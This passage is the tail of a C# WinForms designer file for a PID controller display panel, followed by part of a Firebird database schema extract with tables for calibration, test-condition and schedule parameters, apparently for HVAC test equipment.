this.titleEdit.Name = "titleEdit";
this.titleEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.titleEdit.OuterColor2 = System.Drawing.Color.White;
this.titleEdit.Size = new System.Drawing.Size(148, 28);
this.titleEdit.Spacing = 0;
this.titleEdit.TabIndex = 6;
this.titleEdit.Text = "CONTROLLER";
this.titleEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.titleEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel1
//
this.ulPanel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel1.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel1.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel1.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel1.ForeColor = System.Drawing.Color.White;
this.ulPanel1.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.InnerColor2 = System.Drawing.Color.White;
this.ulPanel1.Location = new System.Drawing.Point(6, 40);
this.ulPanel1.Name = "ulPanel1";
this.ulPanel1.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.OuterColor2 = System.Drawing.Color.White;
this.ulPanel1.Size = new System.Drawing.Size(50, 26);
this.ulPanel1.Spacing = 0;
this.ulPanel1.TabIndex = 7;
this.ulPanel1.Text = "PV";
this.ulPanel1.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel1.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pvPanel
//
this.pvPanel.BackColor = System.Drawing.Color.Black;
this.pvPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pvPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pvPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pvPanel.ForeColor = System.Drawing.Color.Lime;
this.pvPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pvPanel.InnerColor2 = System.Drawing.Color.White;
this.pvPanel.Location = new System.Drawing.Point(58, 40);
this.pvPanel.Name = "pvPanel";
this.pvPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pvPanel.OuterColor2 = System.Drawing.Color.White;
this.pvPanel.Size = new System.Drawing.Size(96, 26);
this.pvPanel.Spacing = 0;
this.pvPanel.TabIndex = 8;
this.pvPanel.Text = "0.0";
this.pvPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pvPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// svPanel
//
this.svPanel.BackColor = System.Drawing.Color.Black;
this.svPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.svPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.svPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.svPanel.ForeColor = System.Drawing.Color.Lime;
this.svPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.svPanel.InnerColor2 = System.Drawing.Color.White;
this.svPanel.Location = new System.Drawing.Point(58, 68);
this.svPanel.Name = "svPanel";
this.svPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.svPanel.OuterColor2 = System.Drawing.Color.White;
this.svPanel.Size = new System.Drawing.Size(96, 26);
this.svPanel.Spacing = 0;
this.svPanel.TabIndex = 12;
this.svPanel.Text = "0.0";
this.svPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.svPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel9
//
this.ulPanel9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel9.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel9.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel9.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel9.ForeColor = System.Drawing.Color.White;
this.ulPanel9.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel9.InnerColor2 = System.Drawing.Color.White;
this.ulPanel9.Location = new System.Drawing.Point(6, 68);
this.ulPanel9.Name = "ulPanel9";
this.ulPanel9.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel9.OuterColor2 = System.Drawing.Color.White;
this.ulPanel9.Size = new System.Drawing.Size(50, 26);
this.ulPanel9.Spacing = 0;
this.ulPanel9.TabIndex = 11;
this.ulPanel9.Text = "SV";
this.ulPanel9.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel9.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// modePanel
//
this.modePanel.BackColor = System.Drawing.Color.Black;
this.modePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.modePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.modePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.modePanel.ForeColor = System.Drawing.Color.White;
this.modePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.modePanel.InnerColor2 = System.Drawing.Color.White;
this.modePanel.Location = new System.Drawing.Point(58, 124);
this.modePanel.Name = "modePanel";
this.modePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.modePanel.OuterColor2 = System.Drawing.Color.White;
this.modePanel.Size = new System.Drawing.Size(96, 26);
this.modePanel.Spacing = 0;
this.modePanel.TabIndex = 20;
this.modePanel.Text = "AUTO";
this.modePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.modePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel13
//
this.ulPanel13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel13.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel13.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel13.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel13.ForeColor = System.Drawing.Color.White;
this.ulPanel13.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel13.InnerColor2 = System.Drawing.Color.White;
this.ulPanel13.Location = new System.Drawing.Point(6, 124);
this.ulPanel13.Name = "ulPanel13";
this.ulPanel13.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel13.OuterColor2 = System.Drawing.Color.White;
this.ulPanel13.Size = new System.Drawing.Size(50, 26);
this.ulPanel13.Spacing = 0;
this.ulPanel13.TabIndex = 19;
this.ulPanel13.Text = "MODE";
this.ulPanel13.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel13.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// outPanel
//
this.outPanel.BackColor = System.Drawing.Color.Black;
this.outPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.outPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.outPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.outPanel.ForeColor = System.Drawing.Color.Lime;
this.outPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.outPanel.InnerColor2 = System.Drawing.Color.White;
this.outPanel.Location = new System.Drawing.Point(58, 96);
this.outPanel.Name = "outPanel";
this.outPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.outPanel.OuterColor2 = System.Drawing.Color.White;
this.outPanel.Size = new System.Drawing.Size(96, 26);
this.outPanel.Spacing = 0;
this.outPanel.TabIndex = 16;
this.outPanel.Text = "0.0";
this.outPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.outPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel17
//
this.ulPanel17.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel17.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel17.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel17.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel17.ForeColor = System.Drawing.Color.White;
this.ulPanel17.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel17.InnerColor2 = System.Drawing.Color.White;
this.ulPanel17.Location = new System.Drawing.Point(6, 96);
this.ulPanel17.Name = "ulPanel17";
this.ulPanel17.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel17.OuterColor2 = System.Drawing.Color.White;
this.ulPanel17.Size = new System.Drawing.Size(50, 26);
this.ulPanel17.Spacing = 0;
this.ulPanel17.TabIndex = 15;
this.ulPanel17.Text = "OUT";
this.ulPanel17.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel17.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// flPanel
//
this.flPanel.BackColor = System.Drawing.Color.Black;
this.flPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.flPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.flPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.flPanel.ForeColor = System.Drawing.Color.Lime;
this.flPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.flPanel.InnerColor2 = System.Drawing.Color.White;
this.flPanel.Location = new System.Drawing.Point(58, 236);
this.flPanel.Name = "flPanel";
this.flPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.flPanel.OuterColor2 = System.Drawing.Color.White;
this.flPanel.Size = new System.Drawing.Size(96, 26);
this.flPanel.Spacing = 0;
this.flPanel.TabIndex = 32;
this.flPanel.Text = "0.0";
this.flPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.flPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel10
//
this.ulPanel10.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel10.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel10.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel10.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel10.ForeColor = System.Drawing.Color.White;
this.ulPanel10.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel10.InnerColor2 = System.Drawing.Color.White;
this.ulPanel10.Location = new System.Drawing.Point(6, 236);
this.ulPanel10.Name = "ulPanel10";
this.ulPanel10.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel10.OuterColor2 = System.Drawing.Color.White;
this.ulPanel10.Size = new System.Drawing.Size(50, 26);
this.ulPanel10.Spacing = 0;
this.ulPanel10.TabIndex = 31;
this.ulPanel10.Text = "FL";
this.ulPanel10.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel10.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// dPanel
//
this.dPanel.BackColor = System.Drawing.Color.Black;
this.dPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.dPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.dPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.dPanel.ForeColor = System.Drawing.Color.Lime;
this.dPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.dPanel.InnerColor2 = System.Drawing.Color.White;
this.dPanel.Location = new System.Drawing.Point(58, 208);
this.dPanel.Name = "dPanel";
this.dPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.dPanel.OuterColor2 = System.Drawing.Color.White;
this.dPanel.Size = new System.Drawing.Size(96, 26);
this.dPanel.Spacing = 0;
this.dPanel.TabIndex = 29;
this.dPanel.Text = "0.0";
this.dPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.dPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel19
//
this.ulPanel19.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel19.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel19.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel19.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel19.ForeColor = System.Drawing.Color.White;
this.ulPanel19.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel19.InnerColor2 = System.Drawing.Color.White;
this.ulPanel19.Location = new System.Drawing.Point(6, 208);
this.ulPanel19.Name = "ulPanel19";
this.ulPanel19.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel19.OuterColor2 = System.Drawing.Color.White;
this.ulPanel19.Size = new System.Drawing.Size(50, 26);
this.ulPanel19.Spacing = 0;
this.ulPanel19.TabIndex = 28;
this.ulPanel19.Text = "D";
this.ulPanel19.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel19.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// iPanel
//
this.iPanel.BackColor = System.Drawing.Color.Black;
this.iPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.iPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.iPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.iPanel.ForeColor = System.Drawing.Color.Lime;
this.iPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.iPanel.InnerColor2 = System.Drawing.Color.White;
this.iPanel.Location = new System.Drawing.Point(58, 180);
this.iPanel.Name = "iPanel";
this.iPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.iPanel.OuterColor2 = System.Drawing.Color.White;
this.iPanel.Size = new System.Drawing.Size(96, 26);
this.iPanel.Spacing = 0;
this.iPanel.TabIndex = 26;
this.iPanel.Text = "0.0";
this.iPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.iPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel22
//
this.ulPanel22.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel22.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel22.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel22.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel22.ForeColor = System.Drawing.Color.White;
this.ulPanel22.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel22.InnerColor2 = System.Drawing.Color.White;
this.ulPanel22.Location = new System.Drawing.Point(6, 180);
this.ulPanel22.Name = "ulPanel22";
this.ulPanel22.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel22.OuterColor2 = System.Drawing.Color.White;
this.ulPanel22.Size = new System.Drawing.Size(50, 26);
this.ulPanel22.Spacing = 0;
this.ulPanel22.TabIndex = 25;
this.ulPanel22.Text = "I";
this.ulPanel22.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel22.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pPanel
//
this.pPanel.BackColor = System.Drawing.Color.Black;
this.pPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pPanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 14F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pPanel.ForeColor = System.Drawing.Color.Lime;
this.pPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pPanel.InnerColor2 = System.Drawing.Color.White;
this.pPanel.Location = new System.Drawing.Point(58, 152);
this.pPanel.Name = "pPanel";
this.pPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pPanel.OuterColor2 = System.Drawing.Color.White;
this.pPanel.Size = new System.Drawing.Size(96, 26);
this.pPanel.Spacing = 0;
this.pPanel.TabIndex = 23;
this.pPanel.Text = "0.0";
this.pPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel25
//
this.ulPanel25.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel25.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel25.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel25.Font = new System.Drawing.Font("Arial Rounded MT Bold", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel25.ForeColor = System.Drawing.Color.White;
this.ulPanel25.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel25.InnerColor2 = System.Drawing.Color.White;
this.ulPanel25.Location = new System.Drawing.Point(6, 152);
this.ulPanel25.Name = "ulPanel25";
this.ulPanel25.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel25.OuterColor2 = System.Drawing.Color.White;
this.ulPanel25.Size = new System.Drawing.Size(50, 26);
this.ulPanel25.Spacing = 0;
this.ulPanel25.TabIndex = 22;
this.ulPanel25.Text = "P";
this.ulPanel25.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel25.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// settingButton
//
this.settingButton.Location = new System.Drawing.Point(6, 264);
this.settingButton.Name = "settingButton";
this.settingButton.Size = new System.Drawing.Size(148, 30);
this.settingButton.TabIndex = 33;
this.settingButton.Text = "Setting";
this.settingButton.UseVisualStyleBackColor = true;
this.settingButton.Click += new System.EventHandler(this.settingButton_Click);
//
// CtrlControllerView
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlControllerView";
this.Size = new System.Drawing.Size(160, 300);
this.Load += new System.EventHandler(this.CtrlControllerView_Load);
this.bgPanel.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel titleEdit;
private Ulee.Controls.UlPanel flPanel;
private Ulee.Controls.UlPanel ulPanel10;
private Ulee.Controls.UlPanel dPanel;
private Ulee.Controls.UlPanel ulPanel19;
private Ulee.Controls.UlPanel iPanel;
private Ulee.Controls.UlPanel ulPanel22;
private Ulee.Controls.UlPanel pPanel;
private Ulee.Controls.UlPanel ulPanel25;
private Ulee.Controls.UlPanel modePanel;
private Ulee.Controls.UlPanel ulPanel13;
private Ulee.Controls.UlPanel outPanel;
private Ulee.Controls.UlPanel ulPanel17;
private Ulee.Controls.UlPanel svPanel;
private Ulee.Controls.UlPanel ulPanel9;
private Ulee.Controls.UlPanel pvPanel;
private Ulee.Controls.UlPanel ulPanel1;
private System.Windows.Forms.Button settingButton;
}
}
<file_sep>/*******************************************************************************
* Default character set: NONE
* Server version: 2.5
* Server version string: WI-V2.5.8.27089 Firebird 2.5
* Database ODS: 11.2
* Database page size: 8192
******************************************************************************/
/*******************************************************************************
* Selected metadata objects
* -------------------------
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
/*******************************************************************************
* Roles
* -----
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
/* "PUBLIC" is a system role, no CREATE ROLE statement. */
/* "RDB$ADMIN" is a system role, no CREATE ROLE statement. */
/*******************************************************************************
* UDFs
* ----
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
/*******************************************************************************
* Sequences
* ---------
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
CREATE GENERATOR GN_ALLPARAM;
CREATE GENERATOR GN_CALIBPOINT;
CREATE GENERATOR GN_CALIBRATOR;
CREATE GENERATOR GN_CALIBRATOR_ROW;
CREATE GENERATOR GN_CONDITION_METHODPARAM;
CREATE GENERATOR GN_CONDITION_NOTEPARAM;
CREATE GENERATOR GN_CONDITION_RATEDPARAM;
CREATE GENERATOR GN_CONDITION_THERMOPRESSPARAM;
CREATE GENERATOR GN_SCHEDULEPARAM;
CREATE GENERATOR GN_USER;
/*******************************************************************************
* Tables
* ------
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
CREATE TABLE TB_ALLPARAM
(
PK_RECNO INTEGER NOT NULL,
FK_USERNO INTEGER NOT NULL,
REGTIME VARCHAR( 19) NOT NULL COLLATE NONE,
MEMO VARCHAR( 50) NOT NULL COLLATE NONE,
CONSTRAINT PK_TB_ALLPARAM PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CALIBPOINT
(
PK_RECNO INTEGER NOT NULL,
FK_CALIB_ROWNO INTEGER NOT NULL,
POINTNO INTEGER NOT NULL,
PV DOUBLE PRECISION NOT NULL,
SV DOUBLE PRECISION NOT NULL,
CONSTRAINT PK_TB_CALIBPOINT PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CALIBRATOR
(
PK_RECNO INTEGER NOT NULL,
FK_USERNO INTEGER NOT NULL,
REGTIME VARCHAR( 20) NOT NULL COLLATE NONE,
MEMO VARCHAR( 80) NOT NULL COLLATE NONE,
CONSTRAINT PK_TB_CALIBRATOR PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CALIBRATOR_ROW
(
PK_RECNO INTEGER NOT NULL,
FK_CALIBRATORNO INTEGER NOT NULL,
CHANNEL INTEGER NOT NULL,
RAW_A DOUBLE PRECISION NOT NULL,
RAW_B DOUBLE PRECISION NOT NULL,
RAW_C DOUBLE PRECISION NOT NULL,
DIFF_A DOUBLE PRECISION NOT NULL,
DIFF_B DOUBLE PRECISION NOT NULL,
DIFF_C DOUBLE PRECISION NOT NULL,
CONSTRAINT PK_TB_CALIBRATOR_ROW PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CONDITION_METHODPARAM
(
PK_RECO INTEGER NOT NULL,
FK_NOTENO INTEGER NOT NULL,
INTEGCOUNT INTEGER NOT NULL,
INTEGTIME INTEGER NOT NULL,
SCANTIME INTEGER NOT NULL,
COOLCAPA INTEGER NOT NULL,
HEATCAPA INTEGER NOT NULL,
AIRFLOW INTEGER NOT NULL,
ENTHALPY INTEGER NOT NULL,
PRESS INTEGER NOT NULL,
TEMP INTEGER NOT NULL,
DIFFPRESS INTEGER NOT NULL,
ATMPRESS INTEGER NOT NULL,
AUTOSET INTEGER NOT NULL,
USEPM INTEGER NOT NULL,
CONSTRAINT PK_TB_CONDITION_METHODPARAM PRIMARY KEY (PK_RECO)
);
CREATE TABLE TB_CONDITION_NOTEPARAM
(
PK_RECNO INTEGER NOT NULL,
FK_PARAMNO INTEGER NOT NULL,
COMPANY VARCHAR( 30) NOT NULL COLLATE NONE,
TESTNAME VARCHAR( 30) NOT NULL COLLATE NONE,
TESTNO VARCHAR( 30) NOT NULL COLLATE NONE,
OBSERVER VARCHAR( 30) NOT NULL COLLATE NONE,
MAKER VARCHAR( 30) NOT NULL COLLATE NONE,
MODEL1 VARCHAR( 30) NOT NULL COLLATE NONE,
SERIAL1 VARCHAR( 30) NOT NULL COLLATE NONE,
MODEL2 VARCHAR( 30) NOT NULL COLLATE NONE,
SERIAL2 VARCHAR( 30) NOT NULL COLLATE NONE,
MODEL3 VARCHAR( 30) NOT NULL COLLATE NONE,
SERIAL3 VARCHAR( 30) NOT NULL COLLATE NONE,
EXPDEVICE VARCHAR( 30) NOT NULL COLLATE NONE,
REFRIGE VARCHAR( 30) NOT NULL COLLATE NONE,
REFCHARGE VARCHAR( 30) NOT NULL COLLATE NONE,
MEMO VARCHAR( 50) NOT NULL COLLATE NONE,
COOLUNIT INTEGER NOT NULL,
HEATUNIT INTEGER NOT NULL,
CONSTRAINT PK_TB_CONDITION_NOTEPARAM PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CONDITION_RATEDPARAM
(
PK_RECNO INTEGER NOT NULL,
FK_NOTENO INTEGER NOT NULL,
PAGENO INTEGER NOT NULL,
MODE INTEGER NOT NULL,
CAPACITY FLOAT NOT NULL,
POWER FLOAT NOT NULL,
EER_COP FLOAT NOT NULL,
VOLT FLOAT NOT NULL,
AMP FLOAT NOT NULL,
FREQ VARCHAR( 10) NOT NULL COLLATE NONE,
PM_IDU INTEGER NOT NULL,
PM_ODU INTEGER NOT NULL,
PHASE INTEGER NOT NULL,
CONSTRAINT PK_TB_CONDITION_RATEDPARAM PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_CONDITION_THERMOPRESSPARAM
(
PK_RECNO INTEGER NOT NULL,
FK_NOTENO INTEGER NOT NULL,
CHTYPE INTEGER NOT NULL,
CHNO INTEGER NOT NULL,
"NAME" VARCHAR( 40) NOT NULL COLLATE NONE,
CONSTRAINT PK_TB_CONDITION_THERMOPRESS PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_SCHEDULEPARAM
(
PK_RECNO INTEGER NOT NULL,
FK_PARAMNO INTEGER NOT NULL,
STANDARD VARCHAR( 50) NOT NULL COLLATE NONE,
"NAME" VARCHAR( 50) NOT NULL COLLATE NONE,
NOOFSTEADY INTEGER NOT NULL,
PREPARATION INTEGER NOT NULL,
JUDGEMENT INTEGER NOT NULL,
REPEAT INTEGER NOT NULL,
ID1USE INTEGER NOT NULL,
ID1MODE1 INTEGER NOT NULL,
ID1DUCT1 INTEGER NOT NULL,
ID1MODE2 INTEGER NOT NULL,
ID1DUCT2 INTEGER NOT NULL,
ID1EDBSETUP FLOAT NOT NULL,
ID1EDBAVG FLOAT NOT NULL,
ID1EDBDEV FLOAT NOT NULL,
ID1EWBSETUP FLOAT NOT NULL,
ID1EWBAVG FLOAT NOT NULL,
